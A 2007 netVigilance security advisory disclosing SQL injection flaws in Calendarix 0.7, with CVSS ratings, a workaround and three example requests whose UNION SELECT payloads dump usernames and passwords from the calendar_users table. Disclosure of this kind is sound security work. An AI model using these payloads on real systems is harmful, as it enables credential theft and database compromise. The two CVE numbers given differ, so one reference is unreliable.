Calendarix version 0.7. 20070307 Multiple SQL Injection Vulnerabilities

[securityresearch () netvigilance com]

        netVigilance Security Advisory #38

Calendarix version 0.7. 20070307 Multiple SQL Injection Vulnerabilities 

Description:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and 
quick access to information in mind.  It provides the user with the quickest possible navigation and accessing the most 
commonly used functions in the shortest steps.

Successful exploitation requires PHP magic_quotes_gpc set to Off.
External References: 
Mitre CVE:  CVE-2007-3183
NVD NIST: CVE-2007-3128
OSVDB: 35373

Summary: 
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.

A security problems in the product allow attackers to commit SQL injection attacks.
Advisory URL: 
http://www.netvigilance.com/advisory0038

Release Date:
06/19/2007
 
Severity:
Risk: High
 
CVSS Metrics:
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Complete
Integrity Impact: Partial
Availability Impact: Partial 
Impact Bias: Confidentiality
CVSS Base Score: 6.8
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
 
Vulnerability Impact: Attack
Host Impact: SQL Injection 

SecureScout Testcase ID:
TC 17966

Vulnerable Systems:
Calendarix version 0.7. 20070307

Vulnerability Type:
SQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive 
data, modify database contents or acquire administrator's privileges.

Vendor:
Vincent Hor (Calendarix Enterprise) 

Vendor Status: 
Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There 
is no official solution at this time.
Workaround:
In the php.ini file set magic_quotes_gpc = On. 
Example: 
SQL Injection Attack Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=' UNION SELECT 1, 1, `password`, `username` ,1 FROM 
`calendar_users` %23
REPLY:
...<table class=eventborder border=1 cellspacing=0 cellpadding=0 width='100%'><tr><td align=center 
class=eventtimeborder valign=top><div class=smallcalevtime>[SQL INJECTION RESULT: ADMIN NAME]<br/>1</td><td align=left 
valign=top width='80%' class=eventborder><a class=smallcalev href="Javascript:void(0);" 
onclick="Javascript:popup(1);">[SQL INJECTION RESULT: ADMIN PASSWORD]</a></td></tr></table><tr><td align=center 
valign=top>
...
<table class=eventborder border=1 cellspacing=0 cellpadding=0 width='100%'><tr><td align=center class=eventtimeborder 
valign=top><div class=smallcalevtime>[SQL INJECTION RESULT: ALL USERs NAME]<br/>1</td><td align=left valign=top 
width='80%' class=eventborder><a class=smallcalev href="Javascript:void(0);" onclick="Javascript:popup(1);">[SQL 
INJECTION RESULT: ALL USERS PASSWORD]</a></td></tr></table></table>...
SQL Injection Attack Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=&year=&apos; UNION SELECT 1, 1, `password`, `username` ,1 FROM 
`calendar_users` %23

REPLY:
<div class=smallcalevtime>[SQL INJECTION RESULT: ADMIN NAME] ...[SQL INJECTION RESULT: ADMIN PASSWORD]</a>
...
<div class=smallcalevtime>[SQL INJECTION RESULT: ALL USERs NAME]...[SQL INJECTION RESULT: ALL USERS PASSWORD]</a>...
SQL Injection Attack Vulnerability 3:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/cal_search.php

in the search string enter: %') UNION SELECT 1,1,CONCAT(`username`,`password`),1,1,1,1,1 FROM `calendar_users` #
press button "Search"
REPLY:
...<div class=searchtextfont>[SQL INJECTION RESULT: ADMIN NAME ADMIN PASSWORD]. ...</div>...

Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
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